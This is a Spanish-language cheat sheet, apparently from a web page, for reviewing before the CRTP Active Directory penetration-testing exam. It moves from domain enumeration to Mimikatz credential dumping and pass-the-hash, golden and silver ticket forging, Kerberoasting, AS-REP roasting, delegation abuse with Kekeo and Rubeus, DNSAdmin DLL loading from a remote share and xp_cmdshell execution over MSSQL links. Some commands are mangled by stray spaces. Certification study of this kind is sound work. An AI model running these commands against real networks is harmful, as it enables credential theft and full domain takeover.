Repaso CRTP Conceptos, técnicas y comandos que se recomienda entender antes de presentarse al examen
1. Enumeración
PowerView Módulo AD
Copy Import-Module ActiveDirectory.ps1
. .\ActiveDirectory.ps1
PowerView Módulo AD
Copy Get-NetDomain
Get-NetDomain -Domain powershell.local
Copy Get-ADDomain
Get-ADDomain -Identity powershell.local
(Get-ADDomain).DomainSID.Value
Obtener los Controladores de Dominio (DC)
PowerView Módulo AD
Copy Get-NetDomainController
Get-NetDomainController -Domain powershell.local
Copy Get-ADDomainController
Get-ADDomainController -Discover -DomainName powershell.local
Obtener usuarios de un dominio
PowerView Módulo AD
Copy Get-NetUser
Get-NetUser -Domain powershell.local
Get-NetUser –Username labuser
whoami /priv
Copy Get-ADUser -Filter * -Properties *
Get-ADUser -Server ps-dc.powershell.local
Get-ADUser -Identity labuser
Obtejer listado de propiedades de los usuarios del Dominio
Copy Get-UserProperty
Get-UserProperty –Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Obtener los grupos de un dominio
PowerView Módulo AD
Get-NetGroup Get-NetGroup *Get-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin "' | select NameGet-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin "' | select Nameadmin*
Copy Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
Obtener los miembros del grupo "Domain Admins"
PowerView Módulo AD
Copy Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Copy Get-ADGroupMember -Identity "Domain Admins" -Recursive
Obtener los grupos a los que pertenece el usuario "labuser"
PowerView Módulo AD
Copy Get-NetGroup –UserName "labuser"
Copy Get-ADPrincipalGroupMembership -Identity labuser
Obtener todos los equipos de un dominio
PowerView Módulo AD
Copy Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer –OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
Copy Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' Get-ADComputer -Filter 'OperatingSystem -like "Server 2016"' -
Get-ADComputer -Filter * Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
Obtener todos los grupos de un dominio
Copy Get-NetGroup
Get-NetGroup –Domain <targetdomain>
Get-NetGroup –FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Obtener todos los grupos locales de una máquina
Copy Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -ListGroups
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -Recurse
Obtener los usuarios autenticados en una máquina
Copy Get-NetLoggedon –ComputerName <servername>
Get-LoggedonLocal -ComputerName <machine>
Obtener el último usuario autenticado en una máquina
Copy Get-LastLoggedOn –ComputerName <servername>
Obtener recursos compartidos en el dominio
Copy Invoke-ShareFinder –Verbose
Invoke-FileFinder –Verbose
Get-NetFileServer
Obtener todas las máquinas del dominio donde el usuario autenticado tiene privilegios de local admin
Copy Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
Invoke-CheckLocalAdminAccess
Obtener las sesiones de una máquina
Copy Get-NetSession -ComputerName ops-dc
Obtener máquinas donde el Domain Admin se ha autenticado
Copy Invoke-UserHunter –CheckAccess
Invoke-UserHunter -Stealth
Obtener las relaciones de confianza del dominio
PowerView Módulo AD
Copy Get-NetDomainTrust
Get-NetDomainTrust –Domain redps.offensiveps.powershell.local
Copy Get-ADTrust -Filter *
Get-ADTrust –Identity redps.offensiveps.powershell.local
Obtener la información de los forests
PowerView Módulo AD
Copy Get-NetForest
Get-NetForest –Forest defensiveps.local
Copy Get-ADForest
Get-ADForest –Identity defensiveps.local
Obtener los dominios de los forests
PowerView Módulo AD
Copy Get-NetForestDomain
Get-NetForestDomain –Forest defensiveps.local
Copy (Get-ADForest).Domains
Obtener las relaciones de confianza en los forests
PowerView Módulo AD
Copy Get-NetForestTrust
Get-NetForestTrust –Forest defensiveps.local
Copy Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
GPOs (Group Policy Object)
Obtener las GPOs del dominio
Copy Get-NetGPO
Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
Obtener equipos donde un usuario es miembro de un grupo
Copy Find-GPOLocation -UserName student1 -Verbose
OU (Organizational Unit)
Obtener OUs de un dominio
Copy Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
Obtener GPO que aplica a una OU
Copy Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081
ACLs (Access Control List)
Obtener ACL de un usuario
Copy Get-ObjectAcl - SamAccountName student1 –ResolveGUIDs
Obtener ACLs con un path específico
Copy Get-PathAcl - Path "\\\\dcorp-dc.dollarcorp.moneycorp.local\\sysvol"
BloodHound
Copy Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC
2. Escalada de Privilegios Local
Obtener los servicios que el usuario actual puede modificar
Copy Get-ModifiableService -Verbose
Herramientas para enumerar información de la máquina que permita eleva privilegios
3. Movimiento Lateral
Powershell Remoting
Copy New-PSSession
Enter-PSSession
Invoke-Command
Ejecutar comandos/scripts en equipos
Usa –Credential para indicar el username/password.
Copy Invoke-Command –Scriptblock { Get-Process } - ComputerName ( Get-Content < list_of_servers > )
Ejecutar scripts de ficheros
Copy Invoke - Command –FilePath C : \\scripts\\Get - PassHashes .ps1 - ComputerName (Get - Content < list_of_servers > )
Crear sesiones remotas con "estado" (Stateful)
Copy $Sess = New - PSSession –Computername Server1 - Creds
Enter - PSSession $sess
winrs - r : machine powershell
Mimikatz & tokens
Mostrar las credenciales en una máquina local
Copy Invoke-Mimikatz -DumpCreds
Mostrar los certificados de una máquina local
Copy Invoke-Mimikatz –DumpCerts
Mostrar las credenciales de máquinas remotas
Copy Invoke-Mimikatz -DumpCreds -ComputerName @ ( "sys1" , "sys2" )
Ejecutar una consola de powershell suplantando al usuario Administrator.
Copy Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<ntlmhash> /run:powershell.exe"'
Manipulación de tokens
Listar todos los tokens de una máquina
Copy Invoke-TokenManipulation –ShowAll
Invoke-TokenManipulation -Enumerate
Comenzar un proceso con el token de un usuario
Copy Invoke-TokenManipulation -ImpersonateUser -Username “domain \\ user "
4. Persistencia
Silver Ticket
Usa el hash del usuario Administrator en la máquina dc.domain.local para solicitar acceso a los recursos compartidos (servicio CIFS)
Copy Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:Administrator /ptt"'
Golden Ticket
Los golden ticket están firmados con el hash del usuario krbtgt.
Ejecutar mimikatz en el DC como DA para conseguir el hash del usuario krbtgt
Copy Invoke-Mimikatz - Command '"lsadump::lsa /patch"' –Computername dcorp - dc
Copy Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain.local /sid:KRBTGT_SID /krbtgt:KRBTGT_NTLM id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
5. Escalada de Privilegios
Kerberoast
PowerView Módulo AD
Copy Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Copy Add-Type - AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken - ArgumentList "MSSQLSvc/domain.local"
Comprobar si se ha creado
Exportar todos los tickets
Copy Invoke-Mimikatz -Command '"kerberos::list /export"'
Crackear la contraseña con tgsrepcrack, john o hashcat
AS-REP Roasting
PowerView_dev Módulo AD
Copy Get-DomainUser -PreauthNotRequired -Verbose
Copy Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
Copy Get-ASREPHash -UserName VPN1user -Verbose
Enumerar los usuarios con la pre-autenticación deshabilitada
Copy Invoke-ASREPRoast -Verbose
SPN
Enumerar usuarios (PowerView_dev)
PowerView_dev Módulo AD
Copy Get-DomainUser -Identity supportuser | select serviceprincipalname
Copy Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
Configurar SPN para un usuario
PowerView_dev Módulo AD
Copy Set-DomainObject -Identity support1user -Set @{serviceprincipalname='ops/whatever1'}
Copy Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}
Copy Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
Comprobar si se ha creado el TGS
Copy Invoke-Mimikatz - Command '"kerberos::list /export"'
Crackear la contraseña con tgsrepcrack, john o hashcat
Delegations
Unconstrained
Es posible solicitar cualquier servicio en cualquier máquina del dominio
Discover domain computers which have unconstrained delegation enabled using PowerView:
Copy Get - NetComputer - UnConstrainedin
Run following command on it to check if any DA token is available:
Copy Invoke - Mimikatz –Command '"sekurlsa::tickets"'
Constrained
Es posible solicitar servicios específicos en máquinas específicas del dominio
PowerView_dev
Copy Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
A través de Kekeo se solicita un TGT
Copy kekeo # tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
A través de kekeo se usa el TGT para crear un TGS con el servicio CIFS
Copy Invoke-Mimikatz tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollar-corp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
Inyecta el ticket con mimikatz
Copy Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@domain.local@DOMIAIN.LOCAL_cifs~dcorpmssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
También es posible crear el TGS con Rubeus
Copy .\\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorpmssql.dollarcorp.moneycorp.LOCAL" /ptt /output:patata.kirbi
Se comprueba que el servicio se ha validado correctamente
Copy ls \\\\dcorp - mssql.dollarcorp.moneycorp.local\\c$
DNSAdmin
Enumerar los miembros del grupo DNSAdmin
PowerView Módulo AD
Copy Get-NetGroupMember -GroupName "DNSAdmins"
Copy Get-ADGroupMember -Identity DNSAdmins
Configurar la DLL usando dnscmd.exe (necesita RSAT DNS)
Copy dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll
Usar el módulo de DNS (necesita RSAT DNS)
Copy $dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose
Reiniciar el servicio DNS
Copy sc \\dcorp - dc stop dns
sc \\dcorp - dc start dns
6. MSSQL Servers
Usamos PowerUpSQL
Copy Get-SQLInstanceDomain
Copy Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded - Verbose
Copy Get-SQLInstanceDomain | Get-SQLServerInfo - Verbose
Database Links
Copy Get-SQLServerLink - Instance dcorp - mssql - Verbose
Get-SQLServerLinkCrawl - Instance dcorp - mssql - Verbose
La función Openquery() se puede usar para ejecutar peticiones
Copy select * from openquery( "dcorp-sql1" , 'select * from master..sysservers' )
select * from openquery( "dcorp-sql1" , 'select * from openquery("dcorpmgmt",''select * from master..sysservers'')' )
Ejecutar comandos a través de xp_cmdshell
Copy EXECUTE( 'sp_configure ''xp_cmdshell'',1;reconfigure;' ) AT "eu-sql"
Get-SQLServerLinkCrawl - Instance dcorp - mssql - Query ** "exec master..xp_cmdshell 'whoami'" **
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')